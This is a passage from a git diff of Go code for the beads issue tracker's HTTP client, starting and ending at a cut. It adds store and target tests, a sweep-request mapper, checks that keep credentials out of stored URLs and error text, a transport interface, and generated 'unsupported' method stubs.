t.Fatalf("second GetMetadata: %v", err) + } + if wire.hits != 1 { + t.Errorf("ServerContext called %d times, want 1 (cached)", wire.hits) + } + + // Any other key refuses rather than answering "" — that would be a dropped + // read dressed as an empty one. + if _, err := s.GetMetadata(ctx, "other"); err == nil { + t.Error("GetMetadata(other) returned no error, want a refusal") + } +} + +// TestGetMetadataWithoutHandshakeSkipsValidation: ("", nil) is the documented +// "new or pre-identity database" answer, which is the honest state before a +// handshake has run. +func TestGetMetadataWithoutHandshakeSkipsValidation(t *testing.T) { + s := New(pinnedProjectTarget(t), nil, nil) + got, err := s.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata: %v", err) + } + if got != "" { + t.Errorf("GetMetadata = %q, want empty before the handshake", got) + } +} + +// TestLocalMetadataRoundTrips is D3/D4's local disposition: the deferred tip +// write in PostRun must succeed, and tips-shown timestamps are per-user state. +func TestLocalMetadataRoundTrips(t *testing.T) { + beadsDir := t.TempDir() + s := New(pinnedProjectTarget(t), nil, nil) + s.local = newLocalMetadata(beadsDir) + ctx := context.Background() + + got, err := s.GetLocalMetadata(ctx, "tip.shown") + if err != nil { + t.Fatalf("GetLocalMetadata on a fresh workspace: %v", err) + } + if got != "" { + t.Errorf("GetLocalMetadata = %q, want empty for a missing key", got) + } + + if err := s.SetLocalMetadata(ctx, "tip.shown", "2026-08-08"); err != nil { + t.Fatalf("SetLocalMetadata: %v", err) + } + if err := s.SetLocalMetadata(ctx, "other", "value"); err != nil { + t.Fatalf("second SetLocalMetadata: %v", err) + } + + got, err = s.GetLocalMetadata(ctx, "tip.shown") + if err != nil { + t.Fatalf("GetLocalMetadata: %v", err) + } + if got != "2026-08-08" { + t.Errorf("GetLocalMetadata = %q, want the written value", got) + } + + info, err := os.Stat(filepath.Join(beadsDir, LocalMetadataFileName)) + if err != nil { + t.Fatalf("stat local metadata file: %v", err) + } + if perm := info.Mode().Perm(); perm != 0o600 { + t.Errorf("local metadata file mode = %o, want 600", perm) + } +} + +// TestLocalMetadataWithoutWorkspaceDoesNotError: an ephemeral --server-url +// workspace has nowhere to write, and PostRun treats a write error as fatal. +func TestLocalMetadataWithoutWorkspaceDoesNotError(t *testing.T) { + s := New(pinnedProjectTarget(t), nil, nil) + if err := s.SetLocalMetadata(context.Background(), "tip.shown", "now"); err != nil { + t.Errorf("SetLocalMetadata with no workspace: %v, want nil", err) + } +} + +func TestLoadTarget(t *testing.T) { + t.Run("missing sidecar is not connected", func(t *testing.T) { + if _, err := LoadTarget(t.TempDir()); !errors.Is(err, ErrNotConnected) { + t.Errorf("LoadTarget on a bare dir = %v, want ErrNotConnected", err) + } + }) + + t.Run("round trip", func(t *testing.T) { + dir := t.TempDir() + want := pinnedProjectTarget(t) + if err := SaveTarget(dir, want); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + got, err := LoadTarget(dir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.String() != want.String() { + t.Errorf("BaseURL = %q, want %q", got.String(), want.String()) + } + if got.ExpectProjectID != want.ExpectProjectID { + t.Errorf("ExpectProjectID = %q, want %q", got.ExpectProjectID, want.ExpectProjectID) + } + info, err := os.Stat(TargetPath(dir)) + if err != nil { + t.Fatalf("stat sidecar: %v", err) + } + if perm := info.Mode().Perm(); perm != 0o600 { + t.Errorf("sidecar mode = %o, want 600", perm) + } + }) + + t.Run("rejects a non-http scheme", func(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(TargetPath(dir), []byte(`{"url":"ftp://host/x"}`), 0o600); err != nil { + t.Fatalf("write sidecar: %v", err) + } + if _, err := LoadTarget(dir); err == nil || !strings.Contains(err.Error(), "scheme") { + t.Errorf("LoadTarget = %v, want a scheme complaint", err) + } + }) +} + +// swapDialer installs d for the duration of one test. The dialer is init-time +// wiring in production; tests are the only place it moves. +func swapDialer(t *testing.T, d WireDialer) { + t.Helper() + prev := dialer + dialer = d + t.Cleanup(func() { dialer = prev }) +} + +// TestOpenWithoutADialerRefuses: this bead ships no transport, so Open must say +// so plainly rather than hand back a store that cannot dial. +func TestOpenWithoutADialerRefuses(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, pinnedProjectTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + swapDialer(t, nil) + + if _, err := NewFromConfig(context.Background(), dir); !errors.Is(err, ErrNoTransport) { + t.Fatalf("NewFromConfig without a dialer = %v, want ErrNoTransport", err) + } +} + +// TestOpenDialsThroughTheRegisteredWire proves the injection seam: the wire-core +// bead registers a dialer and Open builds a store around it, with the sidecar's +// target threaded through and the workspace bound for local metadata. +func TestOpenDialsThroughTheRegisteredWire(t *testing.T) { + dir := t.TempDir() + want := pinnedProjectTarget(t) + if err := SaveTarget(dir, want); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + var dialed Target + wire := &fakeWire{res: &apigen.ContextResponse{ProjectId: "proj-1"}} + swapDialer(t, func(_ context.Context, target Target) (WireClient, error) { + dialed = target + return wire, nil + }) + + opened, err := NewFromConfig(context.Background(), dir) + if err != nil { + t.Fatalf("NewFromConfig: %v", err) + } + if dialed.String() != want.String() { + t.Errorf("dialed %q, want the sidecar's target %q", dialed.String(), want.String()) + } + if dialed.ExpectProjectID != want.ExpectProjectID { + t.Errorf("dialed ExpectProjectID = %q, want %q", dialed.ExpectProjectID, want.ExpectProjectID) + } + + s, ok := opened.(*Store) + if !ok { + t.Fatalf("NewFromConfig returned %T, want *Store", opened) + } + if s.local == nil { + t.Error("store has no local metadata file bound; the PostRun tip write would be dropped") + } + if err := s.SetLocalMetadata(context.Background(), "tip.shown", "now"); err != nil { + t.Errorf("SetLocalMetadata after Open: %v", err) + } + if _, err := os.Stat(filepath.Join(dir, LocalMetadataFileName)); err != nil { + t.Errorf("local metadata not written beside the sidecar: %v", err) + } +} + +// TestReadOnlyOpenServesTheClaimBdReadyMakes pins the posture +// NewReadOnlyFromConfig documents: the read-only open is writable. cmd/bd opens +// every classified read command through backends.Backend.OpenReadOnly, `bd +// ready --claim` included, and that command claims through the store it is +// handed. Wrapping this open to refuse writes — the obvious way to make a +// "read-only" open read-only — would break that claim on this backend while +// every role test, which builds its store with New, went on passing. +func TestReadOnlyOpenServesTheClaimBdReadyMakes(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, pinnedProjectTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + claimed := &types.IssueWithCounts{Issue: &types.Issue{ID: "bd-1", Status: types.StatusInProgress, Assignee: "ada"}} + w := &stubWire{ + res: &apigen.ContextResponse{ProjectId: "proj-1", Capabilities: []string{claimNextToken(t)}}, + claimedNext: &apigen.ClaimNextResponse{Claimed: claimed}, + } + swapDialer(t, func(context.Context, Target) (WireClient, error) { return w, nil }) + + opened, err := NewReadOnlyFromConfig(context.Background(), dir) + if err != nil { + t.Fatalf("NewReadOnlyFromConfig: %v", err) + } + claimer, err := opened.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer() on the read-only open: %v", err) + } + res, err := claimer.ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil { + t.Fatalf("ClaimNext through the read-only open: %v; `bd ready --claim` claims through this store", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-1" { + t.Errorf("ClaimNext answered %v, want the row the server claimed", res.Claimed) + } + if want := []string{"claimNextIssue"}; !equalCalls(w.calls, want) { + t.Errorf("the read-only open dispatched %v, want %v", w.calls, want) + } +} diff --git a/internal/httpclient/sweeper.go b/internal/httpclient/sweeper.go new file mode 100644 index 000000000..d4ab51999 --- /dev/null +++ b/internal/httpclient/sweeper.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/sweeper.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// httpSweeper serves issueops.Sweeper from the sweepIssues custom method +// (design D8 row 12) — the capability behind `bd purge` and `bd prune`. +// +// The mapping is NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest +// publishes tier, closed_before, pattern, protect_referenced, dry_run and +// actor, with no member for ProtectLiveDependents or Limit, and +// apigen.SweepResult carries no remaining member for SweepResult.Remaining to +// decode out of. Both refuse before the dial (W-SweepRequest.ProtectLiveDependents, +// W-SweepRequest.Limit) rather than silently running an unprotected or +// unbounded sweep, so SweepResult.Remaining is always zero from this client — +// never a dropped count, since a Limit refuses before anything could be left +// over to report. +// +// WHAT IS NOT DECIDED HERE, deliberately: the require-a-filter gate, the glob's +// well-formedness and the tier's own predicate. All three are the ROLE's, they +// live below the server's handler, and the server routes this request through +// the same issueops.Sweeper a local workspace uses — so re-deciding any of them +// client-side would be a second definition of the rule that keeps a workspace's +// history from being erased by an omission. They come back as +// issueops.ErrValidation, which is what the role's contract promises. +// +// The ONE thing decided here is the tier VOCABULARY, because the tier is an +// enum on the wire and this client has to map it. An unrecognized tier refuses +// before the dial rather than as a 400, which is the rule every other write on +// this surface follows for a request its own contract calls invalid. +type httpSweeper struct { + store *Store + wire WriteWire +} + +var _ issueops.Sweeper = (*httpSweeper)(nil) + +// Sweep dials POST /v0/beads/issues:sweep. +// +// BOTH BOOLEANS ARE SENT EXPLICITLY, and protect_referenced is the one that +// matters: the wire DEFAULTS it ON when the member is absent (an unauthenticated +// surface is where a default must be the guarded one), while the role's zero +// value is off. A client that omitted it would turn `bd prune +// --ignore-references` into a protected sweep and report the protection as +// skips the caller never asked for — a narrower answer than the request, which +// is the same failure class refuse-not-drop exists to stop, in the other +// direction. +func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (result issueops.SweepResult, err error) { + // Decorates ProtectLiveDependents/Limit's bare *encode.RefusedError into the + // same *InexpressibleError shape a read refusal gets, so errors.As(err, + // &unsupported) reaches *storage.ErrUnsupported here too (write-side parity, + // see (*Store).inexpressible's doc). A non-refusal error passes through + // unchanged. + defer func() { err = s.store.inexpressible("Sweeper.Sweep", err) }() + // Refuse-not-drop on the two members this wire has no place for. Both + // checks run before the tier is even validated, for the same reason every + // other raw refusal here precedes the dial: a caller who asked for a + // protection or a bound this client cannot honor must not learn that only + // after an unprotected or unbounded sweep already ran. + if req.ProtectLiveDependents { + return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.ProtectLiveDependents") + } + if req.Limit != 0 { + return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.Limit") + } + + tier := apigen.SweepRequestTier(req.Tier) + if !tier.Valid() { + return issueops.SweepResult{}, invalid("sweep tier %q is not %q or %q", + string(req.Tier), apigen.Ephemeral, apigen.Durable) + } + + body := apigen.SweepRequest{ + Tier: tier, + ProtectReferenced: &req.ProtectReferenced, + DryRun: &req.DryRun, + } + if strings.TrimSpace(req.Actor) != "" { + // Omitted rather than sent blank: the role accepts an empty Actor — a + // deleted row leaves nothing to attribute the deletion on — and the + // server refuses an actor that is empty AFTER TRIMMING. The trim is the + // whole test, not `!= ""`: a whitespace-only Actor is an accepted + // request locally and would come back a 400 over http. + body.Actor = &req.Actor + } + if req.IDPattern != "" { + body.Pattern = &req.IDPattern + } + if req.ClosedBefore != nil { + // Copied, never aliased: SweepRequest promises implementations never + // write through a caller's pointer, and handing this one to a marshaler + // is the kind of borrow that becomes a write when a helper is added. + cutoff := *req.ClosedBefore + body.ClosedBefore = &cutoff + } + + res, err := s.wire.SweepIssues(ctx, body) + if err != nil { + return issueops.SweepResult{}, err + } + return sweepResult(res), nil +} + +// sweepResult projects the wire's answer onto the role's. +// +// It is a field list rather than a cast because SweepResult is deliberately not +// x-go-type-pinned on the wire: there is no canonical Go struct whose JSON +// encoding is that body, so this is the one place the two shapes are held +// together. TestSweepResultCarriesEveryWireMember is what keeps a member the +// server grows from being dropped here in silence. +func sweepResult(res *apigen.SweepResult) issueops.SweepResult { + out := issueops.SweepResult{ + DryRun: res.DryRun, + Swept: res.Swept, + Dependencies: res.Dependencies, + Labels: res.Labels, + Events: res.Events, + Skipped: issueops.SweepSkips{ + Pinned: res.Skipped.Pinned, + Referenced: res.Skipped.Referenced, + NotClosed: res.Skipped.NotClosed, + UnknownClosedAt: res.Skipped.UnknownClosedAt, + ClosedAtOrAfterCutoff: res.Skipped.ClosedAtOrAfterCutoff, + Unreadable: res.Skipped.Unreadable, + }, + } + if res.ReferencedIds != nil { + out.ReferencedIDs = append([]string(nil), *res.ReferencedIds...) + } + return out +} diff --git a/internal/httpclient/target.go b/internal/httpclient/target.go index 81a482b23..ca86c9e77 100644 --- a/internal/httpclient/target.go +++ b/internal/httpclient/target.go @@ -49,11 +49,26 @@ type Target struct { // String renders the target for error text. A zero Target renders empty, which // is what keeps a backstop refusal from naming a server it never resolved. +// +// Userinfo is dropped rather than masked: url.URL.Redacted hides only a +// password, so a token riding as the username ("https://@host") would +// still print. LoadTarget and SaveTarget refuse userinfo outright; this covers +// a Target an embedder built by hand. func (t Target) String() string { if t.BaseURL == nil { return "" } - return t.BaseURL.String() + return withoutUserinfo(t.BaseURL).String() +} + +// withoutUserinfo returns u with its userinfo removed, leaving u untouched. +func withoutUserinfo(u *url.URL) *url.URL { + if u.User == nil { + return u + } + stripped := *u + stripped.User = nil + return &stripped } // targetFile is the on-disk sidecar. `api` is recorded so a future path major @@ -101,12 +116,29 @@ func LoadTarget(beadsDir string) (Target, error) { if u.Scheme != "http" && u.Scheme != "https" { return Target{}, fmt.Errorf("url in %s has scheme %q; want http or https", TargetFileName, u.Scheme) } + if err := checkNoUserinfo(u); err != nil { + return Target{}, err + } if err := checkCAFileAbsolute(f.CAFile); err != nil { return Target{}, err } return Target{BaseURL: u, ExpectProjectID: f.ExpectProjectID, CAFile: f.CAFile}, nil } +// checkNoUserinfo refuses a url carrying userinfo ("user:secret@host"). +// LoadTarget and SaveTarget share it, as they share checkCAFileAbsolute. A +// credential in the url would sit in the sidecar, outside the bearer ladder and +// its host scoping, and would print wherever the url does. The refusal names +// the url without its userinfo, so it does not print the credential either. +func checkNoUserinfo(u *url.URL) error { + if u == nil || u.User == nil { + return nil + } + return fmt.Errorf( + "url in %s (%s) carries userinfo; a credential does not belong in the url — re-run `bd connect` with the url alone and supply the token through %s, %s, or the credentials file", + TargetFileName, withoutUserinfo(u), TokenEnv, TokenCommandEnv) +} + // checkCAFileAbsolute refuses a relative ca_file (see Target.CAFile). LoadTarget // and SaveTarget share it, so a sidecar can never be written holding a value // every later load would refuse. @@ -122,8 +154,12 @@ func checkCAFileAbsolute(caFile string) error { // SaveTarget writes the sidecar 0600, beside metadata.json. It exists so tests // and the connect command share one encoder; the connect UX itself (gitignore // coverage, identity verification, conversion consent) is not here. It refuses -// a relative CAFile before writing anything, with LoadTarget's own message. +// a url carrying userinfo and a relative CAFile before writing anything, with +// LoadTarget's own messages. func SaveTarget(beadsDir string, t Target) error { + if err := checkNoUserinfo(t.BaseURL); err != nil { + return err + } if err := checkCAFileAbsolute(t.CAFile); err != nil { return err } diff --git a/internal/httpclient/target_seam.go b/internal/httpclient/target_seam.go new file mode 100644 index 000000000..b49d8d6ee --- /dev/null +++ b/internal/httpclient/target_seam.go @@ -0,0 +1,74 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/target.go (store transport seam)@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// WireClient is the transport seam between this store and a remote bd serve. +// +// The store skeleton dispatches no operations: the wire-core bead owns +// transport and each role bead grows this interface as it wires its operation. +// ServerContext is here from the start because the store itself owns the +// handshake snapshot — the workspace-identity probe reads it (D4) and the +// refusal taxonomy renders it (D7) — and because D6 makes the fetch lazy, so a +// store can be constructed before one exists. +// +// THE TWO HALVES ARE SHAPED DIFFERENTLY, and the difference is the roles', not +// an inconsistency. The write roles declare OPERATION-SHAPED methods in an +// interface of their own (WriteWire, embedded below): each one is a distinct +// body, a distinct request document and a distinct set of typed conflicts to +// reconstruct, so a role bead states exactly the operations it needs. The read +// roles dispatch GENERICALLY — they differ only in the parameters the encoder +// produced and the envelope they decode — so what they need from a transport is +// not an operation but the two primitives every dispatch goes through, which is +// why Preflight and Do sit on this interface rather than in a ReadWire nobody +// would implement separately. +// +// They are two primitives rather than one on purpose: D6's two-speed policy has +// to be able to refuse a post-baseline operation BEFORE a request is built, and +// folding the handshake into the round trip would make that unexpressible. Both +// are satisfied verbatim by *wire.Client. +type WireClient interface { + ServerContext(ctx context.Context) (*apigen.ContextResponse, error) + + // Preflight applies the capability policy for an operation: a baseline + // operation returns immediately, every other one forces the handshake and + // checks its token. + Preflight(ctx context.Context, op string) error + // Do issues one v0 request and decodes its 2xx body into out, which may be + // nil for a response the caller does not read. + Do(ctx context.Context, req wire.Request, out any) error + + // WriteWire is the write roles' half of the seam (writewire.go). A role + // bead grows this interface by embedding its own, rather than by appending + // methods here: the store still holds ONE transport and the compiler still + // proves a build linked a complete one, but the operations a role needs are + // declared beside the role that needs them. + WriteWire +} + +// There is no StreamWire half of this seam. S3 reconciliation (gc +// native-program, 2026-10) removed it along with journal_watch.go: OSS +// publishes no journalops.Watcher for a WATCH role to implement, so there is +// no operation-shaped streaming method for a transport to grow. The paged +// journal read (journalops.Journal, journal.go) is unaffected — it dispatches +// through the same two generic primitives every other read role uses. + +// WireDialer builds the transport for a resolved target. +type WireDialer func(ctx context.Context, target Target) (WireClient, error) + +// dialer is the process-wide transport constructor. It is nil until the +// wire-core bead registers one, which is what lets this package ship the store, +// the refusal surface and the registration glue without depending on transport. +var dialer WireDialer + +// RegisterWireDialer installs the transport constructor Open uses. Init-time +// wiring only, the same rule as backends.Register: it is not safe against +// concurrent Opens and there is exactly one production call site. +func RegisterWireDialer(d WireDialer) { dialer = d } diff --git a/internal/httpclient/target_test.go b/internal/httpclient/target_test.go index 783c54438..39a915a50 100644 --- a/internal/httpclient/target_test.go +++ b/internal/httpclient/target_test.go @@ -70,6 +70,62 @@ func TestSaveTargetHoldsNoToken(t *testing.T) { } } +// TestTargetRefusesUserinfo closes the one way a credential could still reach +// the sidecar: a url with userinfo. SaveTarget refuses it and writes nothing, +// LoadTarget refuses a sidecar holding one with the same message, and neither +// message prints the credential. +func TestTargetRefusesUserinfo(t *testing.T) { + const secret = "s3cr3t" + for _, tc := range []struct{ name, url string }{ + {"user and password", "https://ada:" + secret + "@serve.example.com"}, + {"a token as the username", "https://" + secret + "@serve.example.com"}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + saveErr := SaveTarget(dir, Target{BaseURL: mustParseURL(t, tc.url)}) + if saveErr == nil { + t.Fatal("SaveTarget accepted a url carrying userinfo") + } + if _, err := LoadTarget(dir); !errors.Is(err, ErrNotConnected) { + t.Errorf("LoadTarget after the refused save = %v, want ErrNotConnected: nothing may be written", err) + } + + seeded := t.TempDir() + if err := os.WriteFile(TargetPath(seeded), []byte(`{"url":"`+tc.url+`"}`), 0o600); err != nil { + t.Fatalf("seed sidecar: %v", err) + } + _, loadErr := LoadTarget(seeded) + if loadErr == nil { + t.Fatal("LoadTarget accepted a url carrying userinfo") + } + if saveErr.Error() != loadErr.Error() { + t.Errorf("SaveTarget refused with %q; want LoadTarget's own refusal %q", saveErr, loadErr) + } + if strings.Contains(loadErr.Error(), secret) { + t.Fatalf("the refusal printed the credential: %v", loadErr) + } + if !strings.Contains(loadErr.Error(), "https://serve.example.com") { + t.Errorf("error %q does not name the server", loadErr) + } + }) + } +} + +// TestTargetStringDropsUserinfo: error text renders a target through String, so +// a Target built by hand with userinfo must not print it — the username +// included, which url.URL.Redacted would keep. +func TestTargetStringDropsUserinfo(t *testing.T) { + for _, raw := range []string{"https://ada:s3cr3t@serve.example.com/v0", "https://s3cr3t@serve.example.com/v0"} { + u := mustParseURL(t, raw) + if got, want := (Target{BaseURL: u}).String(), "https://serve.example.com/v0"; got != want { + t.Errorf("Target{%s}.String() = %q, want %q", raw, got, want) + } + if u.User == nil { + t.Errorf("String stripped userinfo from the caller's url rather than a copy") + } + } +} + // TestLoadTargetRejectsRelativeCAFile is finding 3: a relative ca_file in the // sidecar must be refused with a clear error rather than resolved against // whatever directory `bd` happens to be run from, which would silently pick a diff --git a/internal/httpclient/unsupported.go b/internal/httpclient/unsupported.go new file mode 100644 index 000000000..33d981956 --- /dev/null +++ b/internal/httpclient/unsupported.go @@ -0,0 +1,26 @@ +package httpclient + +// Regeneration: S3 reconciliation (2026-10) replaced +// bd-enterprise's lifted generator and its hand-maintained -skip allowlist +// with internal/storage/unsupportedgen, a from-scratch tool written for this +// client. It takes no skip list: it parses this package's own non-test +// sources for every method already declared on *Store (the wire-backed role +// accessors in accessors.go, the off-role raw methods with a v0 mapping in +// offrole.go and lifecycle.go's CloseIssue, the commit family and Close in +// store.go, the metadata trio in metadata.go, and vocabulary.go's reads) and +// generates a stub for every OTHER storage.DoltStorage method. A hand-written +// method and a generated one can never collide on the same selector, and +// there is no allowlist to keep in sync by hand — adding a hand-written +// override just removes that method from the next regeneration automatically. +// +// Never hand-edit unsupported_gen.go. Regenerate with `go generate ./...` +// after adding or removing a hand-written DoltStorage method; store.go's +// `var _ storage.DoltStorage = (*Store)(nil)` assertion is the drift tripwire +// against a storage.DoltStorage interface change the regeneration itself +// doesn't already surface (an interface method neither hand-written nor +// generated fails that assertion at compile time). +// +// The tool path is one level up because this package sits beside +// internal/storage, both direct children of internal/. +// +//go:generate go run ../storage/unsupportedgen -type DoltStorage -pkg httpclient -receiver Store -out unsupported_gen.go diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go new file mode 100644 index 000000000..79e696c54 --- /dev/null +++ b/internal/httpclient/unsupported_gen.go @@ -0,0 +1,745 @@ +// Code generated by unsupportedgen (internal/storage/unsupportedgen); DO NOT EDIT. +// Regenerate with `go generate ./...` after a storage.DoltStorage interface change. + +package httpclient + +import ( + "context" + "encoding/json" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" + "time" +) + +// unsupportedDoltStorage is the generated typed-unsupported shell for storage.DoltStorage. +// Every method returns *storage.ErrUnsupported via errUnsupported; embed it and +// override the real slice. DO NOT hand-edit — regenerate with `go generate ./...`. +type unsupportedDoltStorage struct{} + +func (unsupportedDoltStorage) AddComment(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("AddComment") + return +} + +func (unsupportedDoltStorage) AddDependency(_ context.Context, _ *types.Dependency, _ string) (err error) { + err = errUnsupported("AddDependency") + return +} + +func (unsupportedDoltStorage) AddDependencyWithOptions(_ context.Context, _ *types.Dependency, _ string, _ storage.DependencyAddOptions) (err error) { + err = errUnsupported("AddDependencyWithOptions") + return +} + +func (unsupportedDoltStorage) AddFederationPeer(_ context.Context, _ *storage.FederationPeer) (err error) { + err = errUnsupported("AddFederationPeer") + return +} + +func (unsupportedDoltStorage) AddIssueComment(_ context.Context, _ string, _ string, _ string) (_ *types.Comment, err error) { + err = errUnsupported("AddIssueComment") + return +} + +func (unsupportedDoltStorage) AddLabel(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("AddLabel") + return +} + +func (unsupportedDoltStorage) AddRemote(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("AddRemote") + return +} + +func (unsupportedDoltStorage) AddRemoteWithRef(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("AddRemoteWithRef") + return +} + +func (unsupportedDoltStorage) ApplyCompaction(_ context.Context, _ string, _ int, _ int, _ int, _ string) (err error) { + err = errUnsupported("ApplyCompaction") + return +} + +func (unsupportedDoltStorage) AsOf(_ context.Context, _ string, _ string) (_ *types.Issue, err error) { + err = errUnsupported("AsOf") + return +} + +func (unsupportedDoltStorage) Bootstrapper() (_ issueops.Bootstrapper, err error) { + err = errUnsupported("Bootstrapper") + return +} + +func (unsupportedDoltStorage) Branch(_ context.Context, _ string) (err error) { + err = errUnsupported("Branch") + return +} + +func (unsupportedDoltStorage) CheckEligibility(_ context.Context, _ string, _ int) (_ bool, _ string, err error) { + err = errUnsupported("CheckEligibility") + return +} + +func (unsupportedDoltStorage) Checkout(_ context.Context, _ string) (err error) { + err = errUnsupported("Checkout") + return +} + +func (unsupportedDoltStorage) ClaimIssue(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("ClaimIssue") + return +} + +func (unsupportedDoltStorage) ClaimReadyIssue(_ context.Context, _ types.WorkFilter, _ string) (_ *types.Issue, err error) { + err = errUnsupported("ClaimReadyIssue") + return +} + +func (unsupportedDoltStorage) ClearRepoMtime(_ context.Context, _ string) (err error) { + err = errUnsupported("ClearRepoMtime") + return +} + +func (unsupportedDoltStorage) CloseIssueChecked(_ context.Context, _ string, _ string, _ storage.CloseIssueOptions) (_ storage.CloseIssueResult, err error) { + err = errUnsupported("CloseIssueChecked") + return +} + +func (unsupportedDoltStorage) CommitExists(_ context.Context, _ string) (_ bool, err error) { + err = errUnsupported("CommitExists") + return +} + +func (unsupportedDoltStorage) CountDependencies(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("CountDependencies") + return +} + +func (unsupportedDoltStorage) CountDependentRecords(_ context.Context, _ string, _ string) (_ int, err error) { + err = errUnsupported("CountDependentRecords") + return +} + +func (unsupportedDoltStorage) CountDependents(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("CountDependents") + return +} + +func (unsupportedDoltStorage) CountDependentsByStatus(_ context.Context, _ string, _ types.Status) (_ int64, err error) { + err = errUnsupported("CountDependentsByStatus") + return +} + +func (unsupportedDoltStorage) CountEvents(_ context.Context, _ string, _ int) (_ int64, err error) { + err = errUnsupported("CountEvents") + return +} + +func (unsupportedDoltStorage) CountIssueComments(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("CountIssueComments") + return +} + +func (unsupportedDoltStorage) CountIssues(_ context.Context, _ string, _ types.IssueFilter) (_ int64, err error) { + err = errUnsupported("CountIssues") + return +} + +func (unsupportedDoltStorage) CountIssuesByGroup(_ context.Context, _ types.IssueFilter, _ string) (_ map[string]int, err error) { + err = errUnsupported("CountIssuesByGroup") + return +} + +func (unsupportedDoltStorage) CreateIssue(_ context.Context, _ *types.Issue, _ string) (err error) { + err = errUnsupported("CreateIssue") + return +} + +func (unsupportedDoltStorage) CreateIssues(_ context.Context, _ []*types.Issue, _ string) (err error) { + err = errUnsupported("CreateIssues") + return +} + +func (unsupportedDoltStorage) CreateIssuesWithFullOptions(_ context.Context, _ []*types.Issue, _ string, _ storage.BatchCreateOptions) (err error) { + err = errUnsupported("CreateIssuesWithFullOptions") + return +} + +func (unsupportedDoltStorage) CurrentBranch(_ context.Context) (_ string, err error) { + err = errUnsupported("CurrentBranch") + return +} + +func (unsupportedDoltStorage) DeleteBranch(_ context.Context, _ string) (err error) { + err = errUnsupported("DeleteBranch") + return +} + +func (unsupportedDoltStorage) DeleteConfig(_ context.Context, _ string) (err error) { + err = errUnsupported("DeleteConfig") + return +} + +func (unsupportedDoltStorage) DeleteIssue(_ context.Context, _ string) (err error) { + err = errUnsupported("DeleteIssue") + return +} + +func (unsupportedDoltStorage) DeleteIssues(_ context.Context, _ []string, _ bool, _ bool, _ bool) (_ *types.DeleteIssuesResult, err error) { + err = errUnsupported("DeleteIssues") + return +} + +func (unsupportedDoltStorage) DeleteIssuesBySourceRepo(_ context.Context, _ string) (_ int, err error) { + err = errUnsupported("DeleteIssuesBySourceRepo") + return +} + +func (unsupportedDoltStorage) DetectCycles(_ context.Context) (_ [][]*types.Issue, err error) { + err = errUnsupported("DetectCycles") + return +} + +func (unsupportedDoltStorage) Diff(_ context.Context, _ string, _ string) (_ []*storage.DiffEntry, err error) { + err = errUnsupported("Diff") + return +} + +func (unsupportedDoltStorage) EventsSince(_ context.Context, _ storage.EventCursor, _ string, _ int) (_ []*types.Event, err error) { + err = errUnsupported("EventsSince") + return +} + +func (unsupportedDoltStorage) Fetch(_ context.Context, _ string) (err error) { + err = errUnsupported("Fetch") + return +} + +func (unsupportedDoltStorage) FindWispDependentsRecursive(_ context.Context, _ []string) (_ map[string]bool, err error) { + err = errUnsupported("FindWispDependentsRecursive") + return +} + +func (unsupportedDoltStorage) ForcePush(_ context.Context) (err error) { + err = errUnsupported("ForcePush") + return +} + +func (unsupportedDoltStorage) GetAllDependencyRecords(_ context.Context) (_ map[string][]*types.Dependency, err error) { + err = errUnsupported("GetAllDependencyRecords") + return +} + +func (unsupportedDoltStorage) GetAllEventsSince(_ context.Context, _ time.Time) (_ []*types.Event, err error) { + err = errUnsupported("GetAllEventsSince") + return +} + +func (unsupportedDoltStorage) GetBlockedIssues(_ context.Context, _ types.WorkFilter) (_ []*types.BlockedIssue, err error) { + err = errUnsupported("GetBlockedIssues") + return +} + +func (unsupportedDoltStorage) GetBlockingInfoForIssues(_ context.Context, _ []string) (_ map[string][]string, _ map[string][]string, _ map[string]string, err error) { + err = errUnsupported("GetBlockingInfoForIssues") + return +} + +func (unsupportedDoltStorage) GetCommentCounts(_ context.Context, _ []string) (_ map[string]int, err error) { + err = errUnsupported("GetCommentCounts") + return +} + +func (unsupportedDoltStorage) GetCommentsForIssues(_ context.Context, _ []string) (_ map[string][]*types.Comment, err error) { + err = errUnsupported("GetCommentsForIssues") + return +} + +func (unsupportedDoltStorage) GetCompactionSnapshot(_ context.Context, _ string) (_ *types.IssueSnapshot, err error) { + err = errUnsupported("GetCompactionSnapshot") + return +} + +func (unsupportedDoltStorage) GetConflicts(_ context.Context) (_ []storage.Conflict, err error) { + err = errUnsupported("GetConflicts") + 